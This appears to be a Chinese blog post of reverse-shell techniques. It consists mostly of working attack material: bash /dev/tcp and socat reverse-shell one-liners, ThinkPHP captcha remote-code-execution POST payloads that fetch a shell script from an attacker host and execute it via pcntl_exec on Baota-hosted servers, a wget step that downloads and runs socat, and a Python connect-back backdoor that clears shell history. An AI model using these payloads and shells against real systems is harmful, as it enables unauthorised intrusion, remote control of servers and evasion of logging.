前言
记录一下反弹 shell 的小技巧
bash 反弹
使用此方法可获得一个简易 shell
客户端:
bash -i >& /dev/tcp/192.168.1.1/8888 0>&1
服务端:
ncat -lvvp 8888
优缺点
优点:简易,不需要文件落地
缺点:太过简易,不能补全,不能交互(vim之类应用),有时不小心按到ctrl+c
还得重新反弹
搭配 ThinkPHP 执行(宝塔环境)
版本不是太新的宝塔不会禁止pcntl_exec
,可以用此方法反弹shell
服务端监听:
ncat -lvvp 8888
服务端写一个 txt
bash -i >& /dev/tcp/192.168.1.1/8888 0>&1
这里使用其中一个 Payload 举例,其他的 Payload 同理
http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=copy('http://192.168.1.1/shell.txt','/tmp/shell.sh')
或者
http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'))
接下来
http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=pcntl_exec("/bin/bash",array("/tmp/shell.sh"))
php 执行
<?php
file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'));
pcntl_exec("/bin/bash",array("/tmp/shell.sh"));
?>
socat
服务端安装:sudo apt install socat
或下载单文件版或在官网下载
服务端监听:
socat file:`tty`,raw,echo=0 tcp-listen:8888
客户端
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.1:8888
优缺点
优点:全功能,可补全,可交互
缺点:需要上传文件
搭配 ThinkPHP 执行(宝塔环境)
服务端监听:
socat file:`tty`,raw,echo=0 tcp-listen:8888
先把上面下载的socat
放到服务端的 web 目录中
其他的跟上面同理,不过服务端的txt需要小改动一下
wget -P /tmp/ http://192.168.1.1/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.1:8888
这里使用其中一个 Payload 举例,其他 Payload 的同理
http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=copy('http://192.168.1.1/shell.txt','/tmp/shell.sh')
或者
http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'))
接下来
http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=pcntl_exec("/bin/bash",array("/tmp/shell.sh"))
php 执行
<?php
file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'));
pcntl_exec("/bin/bash",array("/tmp/shell.sh"));
?>
Python 方式
#!/usr/bin/python
import sys
import os
import socket
import pty
shell = "/bin/sh"
def usage(programname):
print "python connect-back door"
print "Usage: %s host port" % programname
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+]Connect OK."
except:
print "[-]Can't connect"
sys.exit(2)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
pty.spawn(shell)
s.close()
if __name__ == "__main__":
main()
用法:
python server.py 192.168.1.1 8888
小技巧
python -c 'import pty; pty.spawn("/bin/bash")'
参考
http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/
https://github.com/andrew-d/static-binaries
http://scz.617.cn/unix/201902151750.txt
https://wx.abbao.cn/a/13847-7cd1b6e418fa413b.html